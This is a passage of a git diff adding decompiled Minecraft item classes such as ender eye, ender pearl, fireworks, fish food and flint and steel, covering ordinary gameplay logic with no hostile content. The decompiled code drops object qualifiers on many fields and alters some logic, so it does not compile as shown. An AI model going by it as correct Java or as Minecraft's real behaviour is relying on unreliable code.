+        for (var29 = var24 - 1; var29 <= var12 + 1; var29 += 4)
+        {
+          var27 = pos.offset(var26, var29);
+          
+          for (int var31 = 1; var31 <= 3; var31++)
+          {
+            BlockPos var33 = var27.offset(var23, var31);
+            IBlockState var20 = worldIn.getBlockState(var33);
+            
+            if ((var20.getBlock() != Blocks.end_portal_frame) || (!((Boolean)var20.getValue(BlockEndPortalFrame.field_176507_b)).booleanValue()))
+            {
+              var14 = false;
+              break;
+            }
+          }
+        }
+        
+        if (var14)
+        {
+          for (var29 = var24; var29 <= var12; var29++)
+          {
+            var27 = pos.offset(var26, var29);
+            
+            for (int var31 = 1; var31 <= 3; var31++)
+            {
+              BlockPos var33 = var27.offset(var23, var31);
+              worldIn.setBlockState(var33, Blocks.end_portal.getDefaultState(), 2);
+            }
+          }
+        }
+      }
+      
+      return true;
+    }
+    
+
+
+    return false;
+  }
+  
+
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    MovingObjectPosition var4 = getMovingObjectPositionFromPlayer(worldIn, playerIn, false);
+    
+    if ((var4 != null) && (typeOfHit == net.minecraft.util.MovingObjectPosition.MovingObjectType.BLOCK) && (worldIn.getBlockState(var4.func_178782_a()).getBlock() == Blocks.end_portal_frame))
+    {
+      return itemStackIn;
+    }
+    
+
+    if (!isRemote)
+    {
+      BlockPos var5 = worldIn.func_180499_a("Stronghold", new BlockPos(playerIn));
+      
+      if (var5 != null)
+      {
+        EntityEnderEye var6 = new EntityEnderEye(worldIn, posX, posY, posZ);
+        var6.func_180465_a(var5);
+        worldIn.spawnEntityInWorld(var6);
+        worldIn.playSoundAtEntity(playerIn, "random.bow", 0.5F, 0.4F / (itemRand.nextFloat() * 0.4F + 0.8F));
+        worldIn.playAuxSFXAtEntity(null, 1002, new BlockPos(playerIn), 0);
+        
+        if (!capabilities.isCreativeMode)
+        {
+          stackSize -= 1;
+        }
+        
+        playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+      }
+    }
+    
+    return itemStackIn;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemEnderPearl.java b/src/minecraft/net/minecraft/item/ItemEnderPearl.java
new file mode 100644
index 0000000..66af5d3
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemEnderPearl.java
@@ -0,0 +1,41 @@
+package net.minecraft.item;
+
+import java.util.Random;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.world.World;
+
+public class ItemEnderPearl extends Item
+{
+  private static final String __OBFID = "CL_00000027";
+  
+  public ItemEnderPearl()
+  {
+    maxStackSize = 16;
+    setCreativeTab(CreativeTabs.tabMisc);
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if (capabilities.isCreativeMode)
+    {
+      return itemStackIn;
+    }
+    
+
+    stackSize -= 1;
+    worldIn.playSoundAtEntity(playerIn, "random.bow", 0.5F, 0.4F / (itemRand.nextFloat() * 0.4F + 0.8F));
+    
+    if (!isRemote)
+    {
+      worldIn.spawnEntityInWorld(new net.minecraft.entity.item.EntityEnderPearl(worldIn, playerIn));
+    }
+    
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    return itemStackIn;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemExpBottle.java b/src/minecraft/net/minecraft/item/ItemExpBottle.java
new file mode 100644
index 0000000..63441c4
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemExpBottle.java
@@ -0,0 +1,43 @@
+package net.minecraft.item;
+
+import java.util.Random;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.item.EntityExpBottle;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.world.World;
+
+public class ItemExpBottle extends Item
+{
+  private static final String __OBFID = "CL_00000028";
+  
+  public ItemExpBottle()
+  {
+    setCreativeTab(CreativeTabs.tabMisc);
+  }
+  
+  public boolean hasEffect(ItemStack stack)
+  {
+    return true;
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if (!capabilities.isCreativeMode)
+    {
+      stackSize -= 1;
+    }
+    
+    worldIn.playSoundAtEntity(playerIn, "random.bow", 0.5F, 0.4F / (itemRand.nextFloat() * 0.4F + 0.8F));
+    
+    if (!isRemote)
+    {
+      worldIn.spawnEntityInWorld(new EntityExpBottle(worldIn, playerIn));
+    }
+    
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    return itemStackIn;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemFireball.java b/src/minecraft/net/minecraft/item/ItemFireball.java
new file mode 100644
index 0000000..2e12a91
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemFireball.java
@@ -0,0 +1,55 @@
+package net.minecraft.item;
+
+import java.util.Random;
+import net.minecraft.block.BlockFire;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemFireball extends Item
+{
+  private static final String __OBFID = "CL_00000029";
+  
+  public ItemFireball()
+  {
+    setCreativeTab(CreativeTabs.tabMisc);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (isRemote)
+    {
+      return true;
+    }
+    
+
+    pos = pos.offset(side);
+    
+    if (!playerIn.func_175151_a(pos, side, stack))
+    {
+      return false;
+    }
+    
+
+    if (worldIn.getBlockState(pos).getBlock().getMaterial() == net.minecraft.block.material.Material.air)
+    {
+      worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, "item.fireCharge.use", 1.0F, (itemRand.nextFloat() - itemRand.nextFloat()) * 0.2F + 1.0F);
+      worldIn.setBlockState(pos, net.minecraft.init.Blocks.fire.getDefaultState());
+    }
+    
+    if (!capabilities.isCreativeMode)
+    {
+      stackSize -= 1;
+    }
+    
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemFirework.java b/src/minecraft/net/minecraft/item/ItemFirework.java
new file mode 100644
index 0000000..51c0b77
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemFirework.java
@@ -0,0 +1,88 @@
+package net.minecraft.item;
+
+import com.google.common.collect.Lists;
+import java.util.ArrayList;
+import java.util.List;
+import net.minecraft.entity.item.EntityFireworkRocket;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.player.PlayerCapabilities;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.util.StatCollector;
+import net.minecraft.world.World;
+
+
+
+public class ItemFirework
+  extends Item
+{
+  private static final String __OBFID = "CL_00000031";
+  
+  public ItemFirework() {}
+  
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (!isRemote)
+    {
+      EntityFireworkRocket var9 = new EntityFireworkRocket(worldIn, pos.getX() + hitX, pos.getY() + hitY, pos.getZ() + hitZ, stack);
+      worldIn.spawnEntityInWorld(var9);
+      
+      if (!capabilities.isCreativeMode)
+      {
+        stackSize -= 1;
+      }
+      
+      return true;
+    }
+    
+
+    return false;
+  }
+  
+
+
+
+
+
+
+
+  public void addInformation(ItemStack stack, EntityPlayer playerIn, List tooltip, boolean advanced)
+  {
+    if (stack.hasTagCompound())
+    {
+      NBTTagCompound var5 = stack.getTagCompound().getCompoundTag("Fireworks");
+      
+      if (var5 != null)
+      {
+        if (var5.hasKey("Flight", 99))
+        {
+          tooltip.add(StatCollector.translateToLocal("item.fireworks.flight") + " " + var5.getByte("Flight"));
+        }
+        
+        NBTTagList var6 = var5.getTagList("Explosions", 10);
+        
+        if ((var6 != null) && (var6.tagCount() > 0))
+        {
+          for (int var7 = 0; var7 < var6.tagCount(); var7++)
+          {
+            NBTTagCompound var8 = var6.getCompoundTagAt(var7);
+            ArrayList var9 = Lists.newArrayList();
+            ItemFireworkCharge.func_150902_a(var8, var9);
+            
+            if (var9.size() > 0)
+            {
+              for (int var10 = 1; var10 < var9.size(); var10++)
+              {
+                var9.set(var10, "  " + (String)var9.get(var10));
+              }
+              
+              tooltip.addAll(var9);
+            }
+          }
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemFireworkCharge.java b/src/minecraft/net/minecraft/item/ItemFireworkCharge.java
new file mode 100644
index 0000000..89d26e4
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemFireworkCharge.java
@@ -0,0 +1,206 @@
+package net.minecraft.item;
+
+import java.util.List;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagIntArray;
+import net.minecraft.util.StatCollector;
+
+public class ItemFireworkCharge extends Item
+{
+  private static final String __OBFID = "CL_00000030";
+  
+  public ItemFireworkCharge() {}
+  
+  public int getColorFromItemStack(ItemStack stack, int renderPass)
+  {
+    if (renderPass != 1)
+    {
+      return super.getColorFromItemStack(stack, renderPass);
+    }
+    
+
+    net.minecraft.nbt.NBTBase var3 = func_150903_a(stack, "Colors");
+    
+    if (!(var3 instanceof NBTTagIntArray))
+    {
+      return 9079434;
+    }
+    
+
+    NBTTagIntArray var4 = (NBTTagIntArray)var3;
+    int[] var5 = var4.getIntArray();
+    
+    if (var5.length == 1)
+    {
+      return var5[0];
+    }
+    
+
+    int var6 = 0;
+    int var7 = 0;
+    int var8 = 0;
+    int[] var9 = var5;
+    int var10 = var5.length;
+    
+    for (int var11 = 0; var11 < var10; var11++)
+    {
+      int var12 = var9[var11];
+      var6 += ((var12 & 0xFF0000) >> 16);
+      var7 += ((var12 & 0xFF00) >> 8);
+      var8 += ((var12 & 0xFF) >> 0);
+    }
+    
+    var6 /= var5.length;
+    var7 /= var5.length;
+    var8 /= var5.length;
+    return var6 << 16 | var7 << 8 | var8;
+  }
+  
+
+
+
+  public static net.minecraft.nbt.NBTBase func_150903_a(ItemStack p_150903_0_, String p_150903_1_)
+  {
+    if (p_150903_0_.hasTagCompound())
+    {
+      NBTTagCompound var2 = p_150903_0_.getTagCompound().getCompoundTag("Explosion");
+      
+      if (var2 != null)
+      {
+        return var2.getTag(p_150903_1_);
+      }
+    }
+    
+    return null;
+  }
+  
+
+
+
+
+
+
+  public void addInformation(ItemStack stack, net.minecraft.entity.player.EntityPlayer playerIn, List tooltip, boolean advanced)
+  {
+    if (stack.hasTagCompound())
+    {
+      NBTTagCompound var5 = stack.getTagCompound().getCompoundTag("Explosion");
+      
+      if (var5 != null)
+      {
+        func_150902_a(var5, tooltip);
+      }
+    }
+  }
+  
+  public static void func_150902_a(NBTTagCompound p_150902_0_, List p_150902_1_)
+  {
+    byte var2 = p_150902_0_.getByte("Type");
+    
+    if ((var2 >= 0) && (var2 <= 4))
+    {
+      p_150902_1_.add(StatCollector.translateToLocal("item.fireworksCharge.type." + var2).trim());
+    }
+    else
+    {
+      p_150902_1_.add(StatCollector.translateToLocal("item.fireworksCharge.type").trim());
+    }
+    
+    int[] var3 = p_150902_0_.getIntArray("Colors");
+    
+
+
+    if (var3.length > 0)
+    {
+      boolean var4 = true;
+      String var5 = "";
+      int[] var6 = var3;
+      int var7 = var3.length;
+      
+      for (int var8 = 0; var8 < var7; var8++)
+      {
+        int var9 = var6[var8];
+        
+        if (!var4)
+        {
+          var5 = var5 + ", ";
+        }
+        
+        var4 = false;
+        boolean var10 = false;
+        
+        for (int var11 = 0; var11 < ItemDye.dyeColors.length; var11++)
+        {
+          if (var9 == ItemDye.dyeColors[var11])
+          {
+            var10 = true;
+            var5 = var5 + StatCollector.translateToLocal(new StringBuilder("item.fireworksCharge.").append(EnumDyeColor.func_176766_a(var11).func_176762_d()).toString());
+            break;
+          }
+        }
+        
+        if (!var10)
+        {
+          var5 = var5 + StatCollector.translateToLocal("item.fireworksCharge.customColor");
+        }
+      }
+      
+      p_150902_1_.add(var5);
+    }
+    
+    int[] var13 = p_150902_0_.getIntArray("FadeColors");
+    
+
+    if (var13.length > 0)
+    {
+      boolean var14 = true;
+      String var15 = StatCollector.translateToLocal("item.fireworksCharge.fadeTo") + " ";
+      int[] var17 = var13;
+      int var8 = var13.length;
+      
+      for (int var9 = 0; var9 < var8; var9++)
+      {
+        int var18 = var17[var9];
+        
+        if (!var14)
+        {
+          var15 = var15 + ", ";
+        }
+        
+        var14 = false;
+        boolean var19 = false;
+        
+        for (int var12 = 0; var12 < 16; var12++)
+        {
+          if (var18 == ItemDye.dyeColors[var12])
+          {
+            var19 = true;
+            var15 = var15 + StatCollector.translateToLocal(new StringBuilder("item.fireworksCharge.").append(EnumDyeColor.func_176766_a(var12).func_176762_d()).toString());
+            break;
+          }
+        }
+        
+        if (!var19)
+        {
+          var15 = var15 + StatCollector.translateToLocal("item.fireworksCharge.customColor");
+        }
+      }
+      
+      p_150902_1_.add(var15);
+    }
+    
+    boolean var14 = p_150902_0_.getBoolean("Trail");
+    
+    if (var14)
+    {
+      p_150902_1_.add(StatCollector.translateToLocal("item.fireworksCharge.trail"));
+    }
+    
+    boolean var16 = p_150902_0_.getBoolean("Flicker");
+    
+    if (var16)
+    {
+      p_150902_1_.add(StatCollector.translateToLocal("item.fireworksCharge.flicker"));
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemFishFood.java b/src/minecraft/net/minecraft/item/ItemFishFood.java
new file mode 100644
index 0000000..459fe5d
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemFishFood.java
@@ -0,0 +1,266 @@
+package net.minecraft.item;
+
+import com.google.common.collect.Maps;
+import java.util.List;
+import java.util.Map;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.potion.Potion;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.potion.PotionHelper;
+import net.minecraft.world.World;
+
+public class ItemFishFood
+  extends ItemFood
+{
+  private final boolean cooked;
+  private static final String __OBFID = "CL_00000032";
+  
+  public ItemFishFood(boolean p_i45338_1_)
+  {
+    super(0, 0.0F, false);
+    cooked = p_i45338_1_;
+  }
+  
+  public int getHealAmount(ItemStack itemStackIn)
+  {
+    FishType var2 = FishType.getFishTypeForItemStack(itemStackIn);
+    return (cooked) && (var2.getCookable()) ? var2.getCookedHealAmount() : var2.getUncookedHealAmount();
+  }
+  
+  public float getSaturationModifier(ItemStack itemStackIn)
+  {
+    FishType var2 = FishType.getFishTypeForItemStack(itemStackIn);
+    return (cooked) && (var2.getCookable()) ? var2.getCookedSaturationModifier() : var2.getUncookedSaturationModifier();
+  }
+  
+  public String getPotionEffect(ItemStack stack)
+  {
+    return FishType.getFishTypeForItemStack(stack) == FishType.PUFFERFISH ? PotionHelper.field_151423_m : null;
+  }
+  
+  protected void onFoodEaten(ItemStack p_77849_1_, World worldIn, EntityPlayer p_77849_3_)
+  {
+    FishType var4 = FishType.getFishTypeForItemStack(p_77849_1_);
+    
+    if (var4 == FishType.PUFFERFISH)
+    {
+      p_77849_3_.addPotionEffect(new PotionEffect(poisonid, 1200, 3));
+      p_77849_3_.addPotionEffect(new PotionEffect(hungerid, 300, 2));
+      p_77849_3_.addPotionEffect(new PotionEffect(confusionid, 300, 1));
+    }
+    
+    super.onFoodEaten(p_77849_1_, worldIn, p_77849_3_);
+  }
+  
+
+
+
+
+
+  public void getSubItems(Item itemIn, CreativeTabs tab, List subItems)
+  {
+    FishType[] var4 = FishType.values();
+    int var5 = var4.length;
+    
+    for (int var6 = 0; var6 < var5; var6++)
+    {
+      FishType var7 = var4[var6];
+      
+      if ((!cooked) || (var7.getCookable()))
+      {
+        subItems.add(new ItemStack(this, 1, var7.getItemDamage()));
+      }
+    }
+  }
+  
+
+
+
+
+  public String getUnlocalizedName(ItemStack stack)
+  {
+    FishType var2 = FishType.getFishTypeForItemStack(stack);
+    return getUnlocalizedName() + "." + var2.getUnlocalizedNamePart() + "." + ((cooked) && (var2.getCookable()) ? "cooked" : "raw");
+  }
+  
+  public static enum FishType
+  {
+    COD("COD", 0, 0, "cod", 2, 0.1F, 5, 0.6F), 
+    SALMON("SALMON", 1, 1, "salmon", 2, 0.1F, 6, 0.8F), 
+    CLOWNFISH("CLOWNFISH", 2, 2, "clownfish", 1, 0.1F), 
+    PUFFERFISH("PUFFERFISH", 3, 3, "pufferfish", 1, 0.1F);
+    
+    private static final Map itemDamageToFishTypeMap;
+    private final int itemDamage;
+    private final String unlocalizedNamePart;
+    private final int uncookedHealAmount;
+    private final float uncookedSaturationModifier;
+    private final int cookedHealAmount;
+    private final float cookedSaturationModifier; private boolean cookable = false;
+    
+    private static final FishType[] $VALUES;
+    private static final String __OBFID = "CL_00000033";
+    
+    private FishType(String p_i45336_1_, int p_i45336_2_, int p_i45336_3_, String p_i45336_4_, int p_i45336_5_, float p_i45336_6_, int p_i45336_7_, float p_i45336_8_)
+    {
+      itemDamage = p_i45336_3_;
+      unlocalizedNamePart = p_i45336_4_;
+      uncookedHealAmount = p_i45336_5_;
+      uncookedSaturationModifier = p_i45336_6_;
+      cookedHealAmount = p_i45336_7_;
+      cookedSaturationModifier = p_i45336_8_;
+      cookable = true;
+    }
+    
+    private FishType(String p_i45337_1_, int p_i45337_2_, int p_i45337_3_, String p_i45337_4_, int p_i45337_5_, float p_i45337_6_)
+    {
+      itemDamage = p_i45337_3_;
+      unlocalizedNamePart = p_i45337_4_;
+      uncookedHealAmount = p_i45337_5_;
+      uncookedSaturationModifier = p_i45337_6_;
+      cookedHealAmount = 0;
+      cookedSaturationModifier = 0.0F;
+      cookable = false;
+    }
+    
+    public int getItemDamage()
+    {
+      return itemDamage;
+    }
+    
+    public String getUnlocalizedNamePart()
+    {
+      return unlocalizedNamePart;
+    }
+    
+    public int getUncookedHealAmount()
+    {
+      return uncookedHealAmount;
+    }
+    
+    public float getUncookedSaturationModifier()
+    {
+      return uncookedSaturationModifier;
+    }
+    
+    public int getCookedHealAmount()
+    {
+      return cookedHealAmount;
+    }
+    
+    public float getCookedSaturationModifier()
+    {
+      return cookedSaturationModifier;
+    }
+    
+    public boolean getCookable()
+    {
+      return cookable;
+    }
+    
+    public static FishType getFishTypeForItemDamage(int p_150974_0_)
+    {
+      FishType var1 = (FishType)itemDamageToFishTypeMap.get(Integer.valueOf(p_150974_0_));
+      return var1 == null ? COD : var1;
+    }
+    
+    public static FishType getFishTypeForItemStack(ItemStack p_150978_0_)
+    {
+      return (p_150978_0_.getItem() instanceof ItemFishFood) ? getFishTypeForItemDamage(p_150978_0_.getMetadata()) : COD;
+    }
+    
+    static
+    {
+      itemDamageToFishTypeMap = Maps.newHashMap();
+      
+
+
+
+
+
+
+
+      $VALUES = new FishType[] { COD, SALMON, CLOWNFISH, PUFFERFISH };
+      
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+      FishType[] var0 = values();
+      int var1 = var0.length;
+      
+      for (int var2 = 0; var2 < var1; var2++)
+      {
+        FishType var3 = var0[var2];
+        itemDamageToFishTypeMap.put(Integer.valueOf(var3.getItemDamage()), var3);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemFishingRod.java b/src/minecraft/net/minecraft/item/ItemFishingRod.java
new file mode 100644
index 0000000..49c2afc
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemFishingRod.java
@@ -0,0 +1,79 @@
+package net.minecraft.item;
+
+import java.util.Random;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.entity.projectile.EntityFishHook;
+import net.minecraft.world.World;
+
+public class ItemFishingRod extends Item
+{
+  private static final String __OBFID = "CL_00000034";
+  
+  public ItemFishingRod()
+  {
+    setMaxDamage(64);
+    setMaxStackSize(1);
+    setCreativeTab(CreativeTabs.tabTools);
+  }
+  
+
+
+
+  public boolean isFull3D()
+  {
+    return true;
+  }
+  
+
+
+
+
+  public boolean shouldRotateAroundWhenRendering()
+  {
+    return true;
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if (fishEntity != null)
+    {
+      int var4 = fishEntity.handleHookRetraction();
+      itemStackIn.damageItem(var4, playerIn);
+      playerIn.swingItem();
+    }
+    else
+    {
+      worldIn.playSoundAtEntity(playerIn, "random.bow", 0.5F, 0.4F / (itemRand.nextFloat() * 0.4F + 0.8F));
+      
+      if (!isRemote)
+      {
+        worldIn.spawnEntityInWorld(new EntityFishHook(worldIn, playerIn));
+      }
+      
+      playerIn.swingItem();
+      playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    }
+    
+    return itemStackIn;
+  }
+  
+
+
+
+  public boolean isItemTool(ItemStack stack)
+  {
+    return super.isItemTool(stack);
+  }
+  
+
+
+
+  public int getItemEnchantability()
+  {
+    return 1;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemFlintAndSteel.java b/src/minecraft/net/minecraft/item/ItemFlintAndSteel.java
new file mode 100644
index 0000000..4037282
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemFlintAndSteel.java
@@ -0,0 +1,47 @@
+package net.minecraft.item;
+
+import java.util.Random;
+import net.minecraft.block.BlockFire;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemFlintAndSteel extends Item
+{
+  private static final String __OBFID = "CL_00000035";
+  
+  public ItemFlintAndSteel()
+  {
+    maxStackSize = 1;
+    setMaxDamage(64);
+    setCreativeTab(CreativeTabs.tabTools);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    pos = pos.offset(side);
+    
+    if (!playerIn.func_175151_a(pos, side, stack))
+    {
+      return false;
+    }
+    
+
+    if (worldIn.getBlockState(pos).getBlock().getMaterial() == net.minecraft.block.material.Material.air)
+    {
+      worldIn.playSoundEffect(pos.getX() + 0.5D, pos.getY() + 0.5D, pos.getZ() + 0.5D, "fire.ignite", 1.0F, itemRand.nextFloat() * 0.4F + 0.8F);
+      worldIn.setBlockState(pos, net.minecraft.init.Blocks.fire.getDefaultState());
+    }
+    
+    stack.damageItem(1, playerIn);
+    return true;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemFood.java b/src/minecraft/net/minecraft/item/ItemFood.java
new file mode 100644
index 0000000..196ae45
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemFood.java
@@ -0,0 +1,145 @@
+package net.minecraft.item;
+
+import java.util.Random;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.potion.PotionEffect;
+import net.minecraft.util.FoodStats;
+import net.minecraft.world.World;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ItemFood
+  extends Item
+{
+  public final int itemUseDuration;
+  private final int healAmount;
+  private final float saturationModifier;
+  private final boolean isWolfsFavoriteMeat;
+  private boolean alwaysEdible;
+  private int potionId;
+  private int potionDuration;
+  private int potionAmplifier;
+  private float potionEffectProbability;
+  private static final String __OBFID = "CL_00000036";
+  
+  public ItemFood(int p_i45339_1_, float p_i45339_2_, boolean p_i45339_3_)
+  {
+    itemUseDuration = 32;
+    healAmount = p_i45339_1_;
+    isWolfsFavoriteMeat = p_i45339_3_;
+    saturationModifier = p_i45339_2_;
+    setCreativeTab(CreativeTabs.tabFood);
+  }
+  
+  public ItemFood(int p_i45340_1_, boolean p_i45340_2_)
+  {
+    this(p_i45340_1_, 0.6F, p_i45340_2_);
+  }
+  
+
+
+
+
+  public ItemStack onItemUseFinish(ItemStack stack, World worldIn, EntityPlayer playerIn)
+  {
+    stackSize -= 1;
+    playerIn.getFoodStats().addStats(this, stack);
+    worldIn.playSoundAtEntity(playerIn, "random.burp", 0.5F, rand.nextFloat() * 0.1F + 0.9F);
+    onFoodEaten(stack, worldIn, playerIn);
+    playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+    return stack;
+  }
+  
+  protected void onFoodEaten(ItemStack p_77849_1_, World worldIn, EntityPlayer p_77849_3_)
+  {
+    if ((!isRemote) && (potionId > 0) && (rand.nextFloat() < potionEffectProbability))
+    {
+      p_77849_3_.addPotionEffect(new PotionEffect(potionId, potionDuration * 20, potionAmplifier));
+    }
+  }
+  
+
+
+
+  public int getMaxItemUseDuration(ItemStack stack)
+  {
+    return 32;
+  }
+  
+
+
+
+  public EnumAction getItemUseAction(ItemStack stack)
+  {
+    return EnumAction.EAT;
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    if (playerIn.canEat(alwaysEdible))
+    {
+      playerIn.setItemInUse(itemStackIn, getMaxItemUseDuration(itemStackIn));
+    }
+    
+    return itemStackIn;
+  }
+  
+  public int getHealAmount(ItemStack itemStackIn)
+  {
+    return healAmount;
+  }
+  
+  public float getSaturationModifier(ItemStack itemStackIn)
+  {
+    return saturationModifier;
+  }
+  
+
+
+
+  public boolean isWolfsFavoriteMeat()
+  {
+    return isWolfsFavoriteMeat;
+  }
+  
+
+
+
+
+  public ItemFood setPotionEffect(int p_77844_1_, int duration, int amplifier, float probability)
+  {
+    potionId = p_77844_1_;
+    potionDuration = duration;
+    potionAmplifier = amplifier;
+    potionEffectProbability = probability;
+    return this;
+  }
+  
+
+
+
+  public ItemFood setAlwaysEdible()
+  {
+    alwaysEdible = true;
+    return this;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemGlassBottle.java b/src/minecraft/net/minecraft/item/ItemGlassBottle.java
new file mode 100644
index 0000000..460913b
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemGlassBottle.java
@@ -0,0 +1,67 @@
+package net.minecraft.item;
+
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.init.Items;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.MovingObjectPosition;
+import net.minecraft.world.World;
+
+public class ItemGlassBottle extends Item
+{
+  private static final String __OBFID = "CL_00001776";
+  
+  public ItemGlassBottle()
+  {
+    setCreativeTab(CreativeTabs.tabBrewing);
+  }
+  
+
+
+
+  public ItemStack onItemRightClick(ItemStack itemStackIn, World worldIn, EntityPlayer playerIn)
+  {
+    MovingObjectPosition var4 = getMovingObjectPositionFromPlayer(worldIn, playerIn, true);
+    
+    if (var4 == null)
+    {
+      return itemStackIn;
+    }
+    
+
+    if (typeOfHit == net.minecraft.util.MovingObjectPosition.MovingObjectType.BLOCK)
+    {
+      BlockPos var5 = var4.func_178782_a();
+      
+      if (!worldIn.isBlockModifiable(playerIn, var5))
+      {
+        return itemStackIn;
+      }
+      
+      if (!playerIn.func_175151_a(var5.offset(field_178784_b), field_178784_b, itemStackIn))
+      {
+        return itemStackIn;
+      }
+      
+      if (worldIn.getBlockState(var5).getBlock().getMaterial() == net.minecraft.block.material.Material.water)
+      {
+        stackSize -= 1;
+        playerIn.triggerAchievement(net.minecraft.stats.StatList.objectUseStats[Item.getIdFromItem(this)]);
+        
+        if (stackSize <= 0)
+        {
+          return new ItemStack(Items.potionitem);
+        }
+        
+        if (!inventory.addItemStackToInventory(new ItemStack(Items.potionitem)))
+        {
+          playerIn.dropPlayerItemWithRandomChoice(new ItemStack(Items.potionitem, 1, 0), false);
+        }
+      }
+    }
+    
+    return itemStackIn;
+  }
+}
diff --git a/src/minecraft/net/minecraft/item/ItemHangingEntity.java b/src/minecraft/net/minecraft/item/ItemHangingEntity.java
new file mode 100644
index 0000000..eb85d9b
--- /dev/null
+++ b/src/minecraft/net/minecraft/item/ItemHangingEntity.java
@@ -0,0 +1,70 @@
+package net.minecraft.item;
+
+import net.minecraft.creativetab.CreativeTabs;
+import net.minecraft.entity.EntityHanging;
+import net.minecraft.entity.item.EntityItemFrame;
+import net.minecraft.entity.item.EntityPainting;
+import net.minecraft.entity.player.EntityPlayer;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+import net.minecraft.world.World;
+
+public class ItemHangingEntity extends Item
+{
+  private final Class hangingEntityClass;
+  private static final String __OBFID = "CL_00000038";
+  
+  public ItemHangingEntity(Class p_i45342_1_)
+  {
+    hangingEntityClass = p_i45342_1_;
+    setCreativeTab(CreativeTabs.tabDecorations);
+  }
+  
+
+
+
+
+
+
+  public boolean onItemUse(ItemStack stack, EntityPlayer playerIn, World worldIn, BlockPos pos, EnumFacing side, float hitX, float hitY, float hitZ)
+  {
+    if (side == EnumFacing.DOWN)
+    {
+      return false;
+    }
+    if (side == EnumFacing.UP)
+    {
+      return false;
+    }
+    
+
+    BlockPos var9 = pos.offset(side);
+    
+    if (!playerIn.func_175151_a(var9, side, stack))
+    {
